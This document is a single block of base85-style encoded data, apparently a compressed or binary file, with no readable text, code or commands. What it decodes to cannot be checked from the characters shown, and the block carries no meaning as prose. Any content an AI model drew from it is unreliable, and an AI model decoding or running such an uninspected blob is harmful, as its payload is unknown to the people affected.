zmxufQZKKoDCd%nH*Y9zar;f_HoXfBeLpiG4S1C*i$vi49KK)o`Or?P>%gapMv}TB_ z5qCy@;6s^EM2aEjZ1u60giMh`)Wj4?Dx3c5Cc;u*0+HJ~A#Z0cDzZPmfC;^oE%8xQ z-oEIKHsRv1a;daoXV?2Mm9PgxrSE=PcadYy>)dUBC%f;#Km&}hc_*zBxoyU^e+Cu0 z?57<2UNnu{+A193lu}BuzpK(c5jE3v=XeRyeEm#&@qA2;YO8O*{G~L&ah;uKz<%^t z5Suyv);!HA>G6f?_VXJ7`I>Y~{*_yPIXg3E!AVk zNTe3WPjYv={Ct@BddNuJyX>>o5Z(f9A`*PjzlHwW1XB+v=fse^aVht&tjJD%a`es2)eJgQtR z_x-j>@AC8J;mKhH7C*^VcjJoT(RF23(|hrlg1XG30UkVGmL`%VBZn)cPBikwb&g;D&udQvyo{<>5vM zwkQCPJIdf@a@uYv;Z-2Wl*@-Sv>WF9rj)`|pTH47VBA+e;_|k~gtJ_O?xk-FF_Aeb zo{3RR>Znd+SFjfp*=y7MrhGHL^n-}JbyUTt4ey&xFT~{eCeK=^WOw+YkA@gO+DKB2 zo<1oJFg`1Te!5@S$^4mcWNIk=mrW6pvEfYh{@ zX_cMmbLmLF)Umeq5|*#trdrF-!cSBLcOm!!utV1ZU*9+vxE?IBCqfBFcaI8v3xo23 zdCvE9-@g7B+3Wbm>`v!R14s1J@S7!h1swy@V-7zUA}Ax0dm*f+ovuG=U3eJ&_7Y>u zK#It&%GNM$NYUa%lC;tXR@L{Y^A!p5AMdg?1&E&6_1Ma*H2oyw+CA-fWILC(Qp#;vcZsKblJ0>g{T|>h zJN2qmgeddRFa&`m=+t!F=Bx2hJ6^>7w+=pd=Xte57G0I&O$SUyWicBETmItg8h2&P(`t zh<%ORrn>Gs!;sse=gEd)BD`Uk)dW$aMDZ@ExIt0Cc0PnZ%4Wa9@w3|3SJls1`FLAx6tR}O;i1j_pZ@j} z{tl^0juR(d)yjGes~5AW^GoRZ539RsobZ`Q_AgSaL8^yatJf4JU-d{Syqg?y{6uGX zin0Dhv)mKm!zqw0%WGXJ{=BJn909@N>LC-!9$kDLKTqIMDW>hIw84j(Z={k+_M)s; z(@Kq!?)n&hl`?0c0!sJUSjdS5l92NxP~GQ>@_V+Q)qns7E#=l2} z@O$6*xQfU5xUCd97H#SXs^8d*^yeznUFCIT_rBT9bpx6g!Wb53+;LfIHA_+>8#0-N zG|r}kg&pO%qQnL&6|pm9)4lHSxk><%9nF9R=|Ds#9Ke797|3ig*8q;Ia5xU&1rUn3 zFtHbaz6S7YkG`12b|f3nx1#?ALFZc<F6z zJi`Vcae&HQ0LusHX|O{QKo=@RMHy|h$0mk{yA$EIXvh&P%z=^z!vPQ+hwMBcADYX> z2f`}yEElhSbw{@_;&rt=qHuwLw1>umc&tXIx7hj zQihtMHR#B`V*tp5gUS$LS|rJdPJjao^CZJGu@FZb{qX_DrF5N{3^AoZ(U_dNRnQ#+ zm&8IWDfvtG(9EVqj0!#CeHu2P=rI6;w1E@b50w!NXn}XE6{!tW^ag0qQ_1Qzt_o zp<*uHkAaF_dXtx}%osLbduhqLaxtayur_wHqo@>OiGLVJ^^VhDk6S^;ElF3MF{v`1 zsyexT<6ERm<$28ZPVBBttfi)|U3!9}NwssjW!}>SxNHr|H(N!s#>=FJJt6T}JHV}U zE0m92L4$({n?p}8HlV=G0fa*ZAcjE*Qp;>BYNet8VO?-`5_Y!YmLr|@T2aod1alY?3d>AC+0s#(00NMMxF|K)RzMj@a2E{RmUxSql!vSUKqVL* z=g5PB=SIQLDgktar7Z^Tj)O5`L3(^89o2}Yfb?72^GaFb3E+qyV00C@KUHv?3_Fi6 zKvRI@0HSgVHe-TdMAx5Hx}x&{P`2jM|8cu~>Gs7XUYDh$A0`1mr;>&iD(`?7B8^V) ze@p=n@j-PdS2dD$Y8;N;K zZJ@sz4Qod|XlW|G-;#F!s6bJbk9LibgxoSPyqJNqs*PKQLaAkn7zj;U7Ez{QM6ivZQx(kkE*OS)jQCOJQ zWZjLP^17}94r9c*$vj3Jq{o-8u@3*qpmQnd>S;~Z6o^YBoWut*V(wZI>di8MS63U2 zDezNdw$9Fb7KvF0UJjSiyYmq@wkB?TD!O@Rx_h^)wPfft71guj5puV&r}m{|lYmY= zlhfFbs;ll!{=on(mW0OURxjXF}6Y(pyS>`F=)u5hGmZ zOM8!Rmy7WOxM03BL-&q9?1~?Nq>PA_UsQrFY99{t+2qm7`cO9?;W?x35nBjUF z*ER43)>fe6t&9aD39HZdW|5U7(`mUYfGN&G?RKSBL#6uibg#CTc8uKK?)2!)^!Uc~ z*OloB<{9WH#KdNLAi8GmRquSjtW!sgSbL&b8}Qo06{B0rB@4M@a?j;z17SV?c`y8w z(zVE@eiW(yg8T#B=~@m7q}Ml38HX^#K#vmPXEN&PDLdm0gPtUifebb}z^y9ScBdzd z$McSm@=#dFlmiJ(AURlpaR-oygW99m{_*8pAvW+#Hi*GOoPa6G_0cdtMC!{@E*vO} z28FQ*Pk)j{ccJCxbz1eTu1oy`E?1vYtt5 zJ+53_IqCGi}smF30tQaLERkWDQH&DV-zs9qCNJbJDL+{ zG((r2ssMJF;B>++F{*%>{}i(ll>Q<)ad0Ohs=%H2hyf2;5_4Su7&C*#L4K zCG#7z3ZrMAH=Uus%bmpFTY7uSzPx&<-h9zAn!&(8|sqV|nvT z;mv5Q6b<`^<}KIfZgX8wmy>l(OsfruWMVhnTYf(;blWY&9$n}>j#HpQqvq6gV@8A?zdNDu`p&yy5sMLF zm-iBn-0u3m7x3cIBZ3Ud3(6MnJdb|hY6-G7J9Ts^k@xcG2ud79hInD&Q%mB{SA#}Z zCGI+L3Y`0>IW(o`{_*sik1fov3gFW(#i!rJzOfDiSgl|}R;s(hGh=--m)^`|vA>^E zi1Up5yc!lC81y;d*owz7%a2?TJu2WJIvd^cDdzN>xMMXh1h3cbC64ue6i)zTaIjb1 z6wSyhTEs+})^EzKZ>tLP^I!cwsGinhz_O`jLwT^z@1A~M`RKV@{^vk(RluaC=5@;4$i;rNP$fcJ{M?b?`LOXB zi%+vIpB7|ZRgVV8zgdBN7-M3mgTm?QAcPnFub-QLLr1JX8r3C!dG)~Y+xu_$M$?cF zcd)dN-xzAKm+!;$2F*F!KE1f{mG(g`5OE?CI1E$p|d8=_U^Lkhu$|@AReNJ zF%o+S5x{NoT6*x6hx2{k6tMIVV%_4QZSp8?N$70x2XAp*+~R#!#Qj}ONpV|IWa|N2 zWNERRWa}2~*poOusrZ_?t>f{VUssAFkvrl~w&g5um%S+7x8>I^-_eYZNF3j(tK2>+ z5?Rv5Q_Qxb8oX7(5V;+(T{);LK!hnC*<@|~+5h8 z{|>UAhNA&dJWL%}$B?C!0L25FJ^Adt3|F3%x0f=5_p-n5xk&BbQnbu}yO;KMyF6h( z=j~q2)BSYX{_Usn#lZ)6g7+NK`F1-FY84OaSQV*;)q<-Bw_Gu$IdaXchXpjtD%Zmn z)@nUJ%YlKzEJcFu_NP~{)#-uV8Aa->h(+Qf>U=pB*-CwG`MbWWMK@_JXyE6VD!_yW zc*#TAL3qK3;w?FT5C7> z6>ab;ROHyJ&XD)x8H%xJFE84H7vo+>{rLKJAY#RZeto~QGTExA zc=}Z2&&_vFA{5JGV-G(6$Q{4=Htulu*GtQRKW`2#dm+ySsE+^^Co~og*H#)p&2#7_ zv*6@`lShh8zYQNLq3=hc4LREkIE`&KN9dMjPmfz4O}63K|Q_gNr`?m;?lR zkB)Opf;}}7yQvUrELmcq3@Zt17|wPiZ*emp^I+eR+ooV2I< z+a~loMcFddc~idpopWY7&v(vQNH^zM*sR!Gu(I{#ZDR*Z;+o03AE3 zUVnM=!JJe0oLYo)#0SY;XWo}(wr^I}M;G73*nTW@jr`7~@jA}q7tdP)1H$fY0?*F~ z*Xw*2HQomeH`_U842(v8$k19?`jDyrdC%k483fx!zMHB&XeO=Dq!!(3x|&~w_C z`UfqV8@;5@4gpP*W77dAa>E^Mt8R)=w6CU~*p6K?R)zay9OYJV>4Vz=-j(j<1X!v?3%$BwP2cLE4 z;+3avmgmB+`i}SSERH{a9rjp`<>|s&UaKzx*-X(EbVsMj7)S`8OFQf7&Q?}5 zBBi&PW?CxduxHbP>NsoU$o#apr|XQO7$(yL=D{}*c~<$ha+Z&TxWMzJF|{$a8<%4| zgkDD)o?KSG8CfMRlEs;Tu%oD5V&k7F=GTGoqtPY^em8iSZP&NCi@FP%UTQZDKoiKfnFDWXMD9EM3L$6qybz-aO#Eb&2(>&uYEJ=0UXN`I7gr z6^&VYi?BHBG8olUOMU;bg_u?BMuzt(Wriow%kyOiBP*x3_buZQ9p%tZ-nyU(*|cT5 zl+j%JWO0Okt!miaBh{-0N9E3Cs@PO=&B_?6N6p;~=d2QztRH8VBj<{7R$Iz?nm9+1 z3tMbz~d61%JmE2Mgf+%le^`fb&;PLihUz zEm8gcF28#g2Yzx9uW<#q?ME$<#0rS%Y60#-y-VXKxbNrY2VCNde$lnQaroxP*kb=yU~ud^E!SVmg^zZh2gmInzWt3@8i0HYP5`xWFo7Zx@)%Xs zw!{IYV>eWjrIaMyV+#a`s21v(TDtC;viw!Ifrfp)Viu9G>-lGc7ax?eCK7utZw8(v~6= z;QoPQak}P5+L1tiFa6#ZbB}&>G#?ENustlD{2X3>JSzY%(EIZJk=?e**r3a`B^O`R zgjd=g^$HyCeZ5#fXZgNK|75<$BV%hTem z?)09yw(F5}&}RDg!}sYIHHKcl;B<_ANfFHdv!_D)s0T0PnihJH;C6K;Uw!T z;NDdA=%wj9Ts)Ga0Fsvgz^H;Ou8M)!r3|tKZ3vr_E$6bJf=8?M2<+r2& z4M_k_?jbW152_?6sFkCdOK)MJwM(ab8PHhRbv#V86abirQEYKEtLO)*uQsMTe=ik( z|Mj_C=-|`E9FUm^NSWy#VtEgyFXaNFeHb~o4*{LoN?MbF=0?6rcpt=OJs(IYN#QPs6N+ ztCi?KJAsc3!ju3Q9X&XaAR+?_Q%=K*P91F$0I9m7T?7bG1eDR?3xIHIBnn{({7c~L z5~fcdhFtQ-j+UPFZ#o+=qvtHj_5wp-L=DSQ9!KBFgd;Kuk}?2V2Eu?#K%{B~ zRgH8tO{7Z9qzRgh&{F_5vR;;)DY&0Lz(iOSC#c%@FIW>am;i?9zq?e|N#*%d8cn^tKq5%d&$5N`x9aEqhqz zppsdt7VX}QF(Kp?0ZC+e305Nv9*scmXjrT)C!U$@q5Jb zNr=(mj3wOM3YkSll#z2($Uy$kW(OJUw>t8g9`0_1zQV+iMBd{xV?Q;AG@oO;aE|fP zoc}r*J)2I`w&JaxV|_5k+ds!2%fab9$L2;B4m>BqbzY3+y!e&5!HGHa1rwpb^OB?I zWL}?>&N{E6{ZzDBkmJl#`R7l?KAo5U`jjjGsbJYTN3B)Mo~k~-uc&q&^W(h6 z>+>h!#@3pF))w0HvX{)y!i_1Dv#t#1biP$pqB`tfZzl|$ZTrmOA4 zc(%Cd9kcHHpQekB`@fm#ZeMv)p`Rga-qW!*UuWIuGTZau%OcTZ`i^<;!>=#9E`ND5 z+uQm5E$JGQh(%x5=7)(~dDq8%-Pf7I5 zoo{q~@~HoCm-=D4+;ZU2@58q^<4@kS>}DJM1jxyG?|*Z_vs1`SKntSjmdn-R9*1-kfrgt?!yi3 zpQ|5kViB?*vkka?Kjs)o)qlKYc4F;guGLxDPkA;MeLv;fdDVX^a0*}hRESHK{aoZ( z;QP7Qr>6e%?SO}CpG)wNPCW*NQYG)Qh-KpyhL9d!2s4I6^{%+a$SA`cE7h=iFY|N3 zN@eut7c%xj*KJp;Q@AzjFDht^c%w=lr>^Q$B&WY;WX%U4Olm# z2I(+TVsp=OI+?Nmp2?S_hGepC+jt^wgF&=zs;Oc4V%--V={<*|Ef0h6M_YS?zI^SN z6W$BBKPJ}L&_3I8`&;|^J%OOa!LeR>;`Sr|cZ|{`V&WquBB^!Y5c2B#01WB0QumX4 zX@uQeunj-VN?$h7VYSu{8Re2T!}Ua-T@NWkwxYKtq@OV~kHOe)uT9By2GmW<y&^`e9dgC-%XjU+34KFY)6?cVC4q2JXI&Txs5Y6SGVE+BqhKZ1EnC zFB$*(ZYR{S>ndk{&)$b@!(;m&^XR*-pNhO&_CJ?KeA{2CNI7<}T2&ZyuvS;waK9KfiXr z)4xFG3IJ(Dg78xbD6HM4 zn|fWw>@K72#1MB6HAyM+F0;4MF#j?&S!3qzk%)<5;R9+4miZn!E5&F;jDIuL$m||_ z;lzlP=4P5z<~`0@qft4B&2+n&d)%E9qsO8)GjPn6yyHe=Dz`T?eatHP7bnI}^lWC~ zGb;sGjK(#WH*ZAFR0{7-jGsQ(yh&iL!XS+&^!T^3Q-6u|O5HcIY?gOU%dC=+Hl8$b z*t%6TQzfO&fN^_}6IcqnN5*0`F8Z2lgW$ifQ0?I5zf~x%Ux$T*XOa`3_86y$f2mL^ z8)V|OOf>s{QlU<$DrJ*&3fbKnU?(YWK?t1xbLrnI6!sdUkcp~$V!R;_qe8=dsee?c zM!WX^u2BE6LRI+-2pT&w&QRA9HKVsANV-8H2x9sD@9TMV>>cb7sZ`X+;Ho z4~yUD1@y>Dr&&Mdb3iFA@s;L!tnV)(Qz_qb9*=BoEuqplkfYhLUkFE6F0zs7?x*_G0;1>cpj@ds%ucVfn>z00X( zz-q;HZok#LsZtF-F_H@Fe-qzYRo+F$i>QJ)Y5f`+!_>cuud2Xry}mo2G^AUnvg_UW z+>K^Z(nL%g(ffDeliwhYaQo8}?xnQkn53I3{Mw&rPB*nr^*kJ86lzLue)z(rB=A9t zn}PiQn)s;n>t}_{5l-8H%~4+Orp>WmWdt@oOJCBavv!vDk~PcS%y~1Z?~)h(_lxhw z{~zM}pN|JK>fe8DlP&w3^*b$S|1ch46$k)54=S0P{z~)D6TJMtPVj&4kMs%N ztm0q#<7wvq;RLUzT5;YT%t!s{4>10x3EuKLj9rYEx_y@v4|5lj;P3dS3I4w&`d^Z$ zSGZ8=zfJIeNpwCCyHXZ;o-UWGdWPr92?)8>EJNnMBr0aFcQ5nA-z6IT+t@cE+-1rY zcKhG@V^zVFGfJL-lM8Lo^IU5fnWSY~)pX7=`WwbP9a~{w*o^wCKmJ3ajT`r8PJG#D zCvQdSp(F`Pfe#iPOamL|?js<~q9kfy*N1ebW6ZC69@e$4{lD*z|3RXH5gVK1m=uM- z`s1&2x1~7F+Dt{UJa~pZMyuqU{@>Xj%l}VF)KKyF&NJKK-&da}6YlE?c@FgJy@`(h z{m&D;{$$HXg$_&AP9e|3Cyk6D(f0q`R#|~+zzs4D{B`PPK(s62IsMShtqA^yWiNt&b-%{I7{K+nQ@1<^?r*2=q?fMbpbYgkBN{2y=1JvTW_`A^ch$ zy{*dG{>>Ru-?A*%*l=eFFPB=rz`tJG{tU8VW59~>>>fF zL|u&TH8@gAyAFMKI2p}n;$*b>&LD$J+^esSt#bSZ=4ARSqpc4{xsv+lC6+4Et}{tr zxK}FM?ln^)8}js-@A29vWjfIiA-N8jCzZN6>=*o0>*uR2OZ3X*9>~o%o@+b*+)u4> zvDvjZQK<2$-gPGSnR^#Xeg?dJ5cFay%ao_(b!X(to988+L2vux_8E_u@emSs&AG$JAsvphG64kNxv`(i{s{bJD%d;kr-U62BhhLYw zT)))x)7eh1`mP;vABpJ-8F$J}xnNPyy|nW9q{$Nb>Co1f**5(};j-S{4N7MU?fdCJ zy?fgq=SnP}#PuI;QJ;?oTmI;beZPBiMe%XG4uyr?fM|eZTTOYJfRI`eNo0~+6}iT$ ziF$XP{o)cOiOt>UZZfym>bqo-aFke}^%V?=+U}Qro4(U##BO?Qu*y9{^|6mfx<*ft zN0!!`x(_$CA!{Dl21k57ZyNRZyo8H}u6pKL-I(CCIc(aTbCJ)z4hiVL{ycNfAK*{Wstk*ZxOszLIzM-9%hjW+W zKopaa=(vv8hA6-rpo-Q-30x-w4jG!an{t@%!akTz$;ky)PFn~ZeXwvb4s+S=Ee~=#!nP0))>Niroy+DtV1n$Y7uT=I z#rxB(OzoxHQ`&Evw*T5ixJ-U>F8sP+X5Z$7c%&0~kcCyoDv_CyFlZzhDRF9I1WL0sAEu}epIlwaW;YptcCX})=6Yr8H%(*f zV?>znO-{B{&IASJ$Wni2A{JvynG2c7bOIA!O}sTPg0m1elVNwk(!STvo;d&BS@6F3 z`{z_deE;rp>)0Fu0=thC?{W=^{>DVW=pwnV6G#iugmdw4Gn?=U>&>o@0D;i#!4h|| zMVJSksakE21!VPqAQ?!GLUb5 z;p3VIb(h)kZvc;HVmuLKW!0EI#kEXkzM7@{v~gXx z)8s;nW=A9LcZ1yn{)J(@0fq%<(5HveLsxtUgB?f=>>vVEqCaTv4T`s96Q*A8wAzD% zZK$Q0(&cAFjZ;nT9Mg8BV+(CB4a`i1*}4Rb62jS&-b{0oVKv60$ih(rFLlj}t>3)M zPkel4W9oQuzUScs;-%(*NzIpwv>*ma`Rrlwh^t9?YE@8{y+MKS#=-tmB!kqXfGoR) zS06QZ+nxjlgq1M8UN_;9%S*H7@djK-h2#j#~)IY5LT6F*Ro1bGB`@c1R zjsC#&c7M6hUF0g^5Q_%~q+rcb_q|b?-eNR|!k!DVl(6w7kf?!?V0lb1;%~~nblOf@ zNsF4OHuLUF6z?GBajMrhE}os+qY9KCg^QeeZ@J}VDjJ&=ccn-LOg0!OmladNrT9mSND5amkWRv6u4*)F`Y z^bWn4*)72RROM3`{J0=Jz<_;?096GNV7wTRp$>q(w?{LoS3tRz0N6)uD32!&l2|}R zVhG1r3~;c#!^<$AIy5|h4i1VWLS@JRqXq_A-m;y+E$&>(Ig((Z0JR5XdmeaFofa zoDbLU(QAf<94Q*)A`#(7`*0AxRnl2$Ah*yi1hk1##AihsYvSCc#|^b0NlIX29l}Mm;|E_2F6R!pud_YX`0ca z1!zS;z9gNQ>O;bW_Gk=BIt4159)4C6X`elFU8dvPO--Hn z)hPa6wG7sLR%Y>|-qCs8?q<(ItcBevH7#v~FNup%9k!-TVz?GLEb@+;ctinv2TdSU zzI#T1+Ymqx?6o^W6$EsQCMY?+4QHoA<;^O9q?B@FbHp}YsabAv``RR3^J66I7I@SNT%U97~K%Tg}3~*{$fZdzZ-7_H$Zzs9rWykCYsQN(o*{zD$p5l1Yh-Oo{SI ziLpzGD@ut)rN(!qT;ol>E|Z!XnVRmCnrWAMgI1K9g-X-2f(EZzK6~ft^Yh9}-IHCz z2z3lp2Lsgt(#h{#xu}3Df&L$bIg!Fe4dEseiJVmURXofP1CLBW2xE{w*sIr)Bd%m$ zm!cqj(9j4gS`ye#wIgA82J{xewp=>H(?^3}_I25)57J)|ak}_m4a5D-Z zUXeDnl0D0lgMJYZBMM4eK}X)J3Q*L9h&lX|Il?b;Feh(`*xwTKy(LC}wr$W$J(0~YcBHn-)!5J_h8XFo;MF`6T2;w6=tdLCD(5qC4 zUH1*yOWaZbQZO6vKqDBj&~QrrlO<@cPeJP)W;bmVI3Kym4Ced*X_=|p!a`9At>^$9TL%E|uvSbzo>rh!jXy`rrB-yGPHWd2K2)q^r zA@HD*$r|0LTR6tZg6UQYz904Yu+i`gq`p zq|6*yh&LL+WL4~dfdrEfI3>hYTu~^H!AF2c5w6n910y+oh8MwRm6Sf2bfgZ>K#Ez} z&o(=#vRJPo+7hn`WB&Me}b{X_qcE#YKW>2}5&XzE{b2HH}8t1Wqcn82p z3<&}`_G)2Qx{JIkkix_pAW&h2A-LgyaCOj*h;YJJvdIN>rveOwdx}(66XFfl3W5Ly zaV1;%1S9;(9t4HYN+||v>g!J}-$N6?U^Ie@TJ+nl5X3^&r65?5`lJM9|5A0joeM?sTTGBOnSns-i@GWDvf{e232;k%?FUocg%JzC%50+cs z?6>YS5`W1NNt2L=OE5zMk+Fox;0QCv!1Qp{v-_&Is?f!#>SfSdpu)ly4a%GYnJBOy zNJKw7LIRKQRDwk+q1-C2U&X3;QUO;YBC-&vMXT@@$_AWp$n$i{Str7Pfb_%$2oiyF z_(~KtztO(f9S;j4-k^6kcQQ=I3LcJ!JE1Fb8NdeP;+OnT);(AR1$l~;=?}mp2scp_ zm|f8WE2ZLFR}ryT(7gh#uM`}+SjC>!7WJ|-Cd2x2n~e_H^-52Ui%D06LswdFS7<|5 z)^t}SfA3>mEXQq4_;j(^~OR?xz+1-O%S zGu;%7afpEIGlpo8nFMtwAwF=!&`RJ1inapxn@1F^|K>5&b->4MV0kSTnqG2ERBVXFX@?zXh_ws1HNvNOAKYdT&&`U4 z;FACm3c!O7V8|W|_X3-EFe|qJ+ca-33Lu1uVxu&2kU)Ms;NJw&n`>>#c;s0iMp`*9|9d)4CXA5mgPv-A7Qt~}_o8qN?QEAPIOPZR=%jyaXd zTfv0CXsOLa=Sn}m%xw|!1A4opl(W~XeE4ixso1p(Xm)P5$V@cPMK+BBAH{aFyjlXU zXaw?|A1ihV%I2o%frce|h-0s^1HOcCZ6PHvZqfVmEB`CbOSv2`#xH=k`d{2ESPVHj zaz}f))NJ_$dl!#Vm#1Hs0{Ki_#~F7_o6ux6Cq)Xv);TR#`%Qtu z7=#s0h}cvuV0;H-tT1hU$G#_Lt0!mVRyBQfjoRdN#YxR1&iU&KVR4W@;7@bmDf|Kx7GFqaV$ z92!EoEb5t?a0z%rX*K52km6NzoBiGYj=yY9;Pt!t+(9AYAi21foswrxvJuTiu;6aa zU4?Lv;PKfgJ+0?zvGUTP@`~;AP^nf(4PZfFNS`bbF>m!^#vERlXTw9ZzP>*geI|+L zwm$ldl=fk6?R1|#{XMQKl<10<^l zsibsH2xDqqq5HF}T9i~&RG}7+LAiy=pQOA}afT|tu9hT1PF4g-XG4`ppehv=NF>Y# z_VAG;6fjT)a?XQL=z2l5iV~j^=9Vx1Gou0AX;be+TuyB)d>0m` z{yIj*#K{W%Zkb?!hT`ISXcoUp`mV|5uLQhsGHdgiDc-pW>69X@gu6HV{Tl+ZQURsn9)17A5e~1 zWImq3fPW_?o8bn42m^i`&48=kWJsh!c(KSrJSrc(&4h(!((#brKUok}?Pw4IrTI&b zp9hscrSnLc$uP`i_<1TsYU0rm!h%3HphK|?h=p>QqIsCs;^Jgj)>d;K?WMHtWx0ws z%q|x?Liu-8;^a11QX~EN*Dnzm;xGv6OTdn_15rA#0ah4rkW4bt=?z051+dFzh$27? zuyA^?t7ip5@5Z<|7VIg%jRWAWB!*ZFB&LGllog^3gStROm1QH(5m8wbU`i3?MENzN z_?y}45JAKL3?zNJjYbF)QON`_2G3xHh8L4jpMy~-0@RiYc^UBLy$j9m_M6Z7-#oI< zcp1~LQISXT;B3N1sYFULnnCCUVTn9A#ENDUbIK-)CSI51S9a*4=bzJemAy- zcXR9ZmuLQ}gm+;JR8m8EVsr4yZ~gE&iT*0d`e5A2TOC zf(ZdxOQ0zsu#*75wL4N-f8x z_RoD8?ep2ToceFZN3B>0N@+0Okj*6G z8xW@((<+UovM$cE&I;a;dy%iUlOFUOLP0Fq}y9OP2VAexvda$aGRqAE=I8x5r`oGCo zz2da&=^DHB(c%JY6@Hz7W`}m=6Ybgo?JT$-T?VmM(KY#RhF)MO=I5i?1?xWp+lyT{ zt}npYsSFDRxsiKxFmf6noUT$6_Fb(rd?eaM}H0|I|R|KyklESlI>}I^lI&>Tk&oOJY zd7Eu{Drx)CHF)K>M_p)D+aP96g7$ome1*!T8z0;}2fC3&0o39BcOmnt7bIO4xwj-}=d8Iq)BNP;bN!W3^&_5hHOdeNB)`45?q^k_+!!7 zvDWVhEg!+Kf(1GZ23}e%VwqP_{7^5h7QcR;X`|LqMhciV@~G~UNeYGx$}&_wHe_PA zp#tq`UpPX~k#;;qbh;s`F2?0twi8QR=2)e(zV>jAoBbOn7%?qkKw5T}V5|xNuH0;) zCAF)+Ro}n3C|aPS5fY-ZrPZ~pzOf)C@|o%s!_DqyV! z(n~$FB}rY8sU&CJ4@w_GyHv}W1Y6>3FjwG(_cTwp=n&B&r+GLQ%(v)&UD~l?O64Mq zCj_#kByj>l!}cueNgqle7a_L8IFb-ZqoX3_nFhR$iEwKYjExW6>8Mx4v%8ck>BmKR zQmg>1=5q9TlRkv73gMCED@QGZ44PL!WXdKOlrglW(*++LmXdcKnbYw}a?}r0L~6JF zlVc8Nd<9hyIwV17+;X1A$Xy)DSkM5UGi{F+|e^iEzzzzxx)p!o6o4@ zKDfEuA1+QQJ7-|I%QHmxLQav-mK=FU8N)}2tZy9dP<;TAg@OgIS#9mO& zkcYt|08v+nC38`{Bb{GELjk!u6r*2+8S@>|Dy)aWe>|X%6%SCxU^24-xnsitm5J+_QVRm$1|R zqY9F(9|3U=TYU8F&hIBzj^JWAL<>eI{zD(!THbOEryH|Lb<6XIPg}2ES-Ee&@s^hh zF^h+lpiS*->))ne?Ga75Zu7)|Ip`Snr)UQ;i4#xJia>*HN?K(H7-XK2{C*+ z->E{JX38O0k0GCYLvPDc=)k>V_hov*es`kaM>fl-3F$!+1}L=@<$k{ zO7zo_EiOU(T-vcrBs<^e(%XKA1gw8gY*fa;Tdnj@eOkm-L0Zd>Z?%7p-Sf`8-e$)X zq)$CyZk>O#)A|;c5ekQHZzj49j1|Acj}An+HtqlK@;er`ZE#P*>Jw9HJMFrjJ=~A? z)S5k00aU;kxXJABvay&gopkERhXXYV5)E6n} zx{ESxCWq)P!95qO;xC4Dd{k&td2%_eDA)(hDmbtLax?l z;i)6#Y|;k7E&b`jr%HYCS1b!>L-*UiRr{IL$99-IS`j*_e@#Lk{93fbY|Z`qnaK~f z|BI^{t$xS)Id{})a_pqrm?Ja%SEP=AIFCvxADfacHtfH7tM=b~z1zu; zn@%4nuxdzmeD>ng?|&(GyZ-HOs0jPK!(i#zO7kYQ;5z4XuD17l9DWv!hJ8&qdT8Q9 zTH>8g>fa9iXXC9)=c`tuKI`u^2FhKF?9rK+Ey%Ket9Li){<^fe@@uJ+tB)iPZlCym zlCbu@%iZKhN4Cz{u3URKBPp431<=xcwjjDli+}###6s}3wO{w|kDt(7c4@lX*3afk zrJ@R)}^0{;uPx}VkthBjR*Di(a!2Y=feO?2F z!nny2S&J67ay|Q36TuuN94viVZ2D==ls1ok{*8XYh-BnNvY%mDd$wG&shJ$gyrF(~ z4_va8^M1{pcb7z}fexwzY_&)SjS-Q?xQGdLYW)#u&x>^A9d*1qP118LoOC{%xIMZ( z=g2g}sDms>x??W(vWjyyjprz&lNbn3 zZSk&ZLl@zJlYK|m+W9UA$ayWr*+IVBQMcRakCRgw$S};e$#*bK?NUu<;{_tm<~r)V zYz5vL&q-&+S$ffL=NvLhYm}m>X%ItX1Dl-#MoRqh*;+ZL6&ABX&h>uuvbTjhJVrDkt9S3=0PzSV$uZ*lcL;Ocd#cZZ;NS6T1w$lg8qt}*9&y`^|^ z2rsY$xXC!lm+j-4)NNw9W*^UGMfUC5(`PAgvn=aNtaeLm?n^q?m)g;n(%pA>q%RF} zPm}LIqUL^twg#grE$^)J^hHX3-51hJP3gzouBcWsh` zlvZx><*LkXk|TIJ-{xMHgi8~8?o2;X3b^TVpV&NP%i7Yd)((=N@ziEKgyX!^l>2AY zJZp6CpQYSCJ>tY@uXn2^D+Ysk4fNA*Z(RI*<8t@?D;@W*Hs8NC;(3j-zG2*x$K%mw z)(UF+H6PeY#b#few5@Z#2YdG2jO^KR)+TR@Oa1|X8jLKs^C<2-azD^{893{K+`5lQ z4*^smK;^i~~!GejT;Pfpp5 z;11#?k+Q{05FH_L5ha_F*mLHuSZ>RoJk0aqY}CFIU=8N_x_0UUct)S9kr##wj8Qhw zk{g1;N2TkPMsvj6-tTv$B<6c6@a3uvn&X5ta_=^+{pvJ(i z;2>lh1nPgZTz~(+hvXbG0N^-Cu^0LKWkjg~AT#+a@iB_wKpyKqUhL)LITCM@C{yp+iyj6K${A(m%*SR6p4+yP9I@wy+6rOdtak@F-* zPRoM;ZFB6_Mz>8=nLa2-%N=VN?S&2NFU}4sZ4c5xo|g2FgcRglgL0|U9?I>Yazj_r z$xX>uz?9pY4i$_Z>ECo}o_D&LhrHw=Ej(U}WM>eZdW@G_=5N-4sKSgDgSqr#WLZtf ztdfK?7kT=0e#T0k0>V=X?k>*Y6~7!(Uj&&eDM7o&jP=f`9`>))YxFJ~zH977cL(s< zpw(EqGZ9)h#FrKV1VgM3P_T=KrPU!oKA%lYXY&vW%5$#6(y|fk+R7W^NAeBFHxSeB z3NF>H^?qEPciFq*%-(beflYrrer?DU2MabJ80dFX-3r~|#^;x7rJ(C*+`(d6!wV{L zd_rEmhzMSm<*h-mGhQWp6*tJ7=T!vV#f?h|kp7e7e)4YAcJ&;9=ViRnAfrT4-tGF@ z;-R3cWcl%b{nU??+x`QfkFR zA1WFT%iNe@DRPJDE!$+{dB3NI(tk87JQ>pT^^?U7w{Cx>dRt1_(8aJ;R++w9$;e!5 z4ABSDS>{-aXnu);cp2xHyqEurY=SEfSyB9;Ts{1Szq>5nw3vh3s}p!73Eb)g-qVni zFi_1LyTTW^Q!Kz50{A+b4^zyV{8C*&q<{Ov z-{Ah@Xc9v3MR5JW#3W`^4Pe04C;1}F$DgTdT}32~6Iy9+hzLNVR}z5BIAFWEhIe`N z_8XPJ!&;IJg#>y7xQ1*}|7%a70PBma#go3JBKSJsMYI4vw4K!NUsfb^O>&5De2eD- z#;%owU;qN%ns?=HXl-6;=akQkbSlp)9YS&~{(FA{up3i(FJCEB3Fy(&HToY7VlE%7 zvLe?>?g`f0yvFtE_By4$mOefvm#E7QkMAiRfyPvJg3qO`qXti2ujHjf=(4zBI zrmJ8^fkd=iZSK6LdX!Qysv3+@grnpacBS{52g$#*RQ^b}+Wq$4159Dau`_ujcf@Q= zuzm>h;Us7c93yji`bj)`Hs6yACDrgDL+plWERo2gOalgEkjf53i-Y+Hc)CQG4 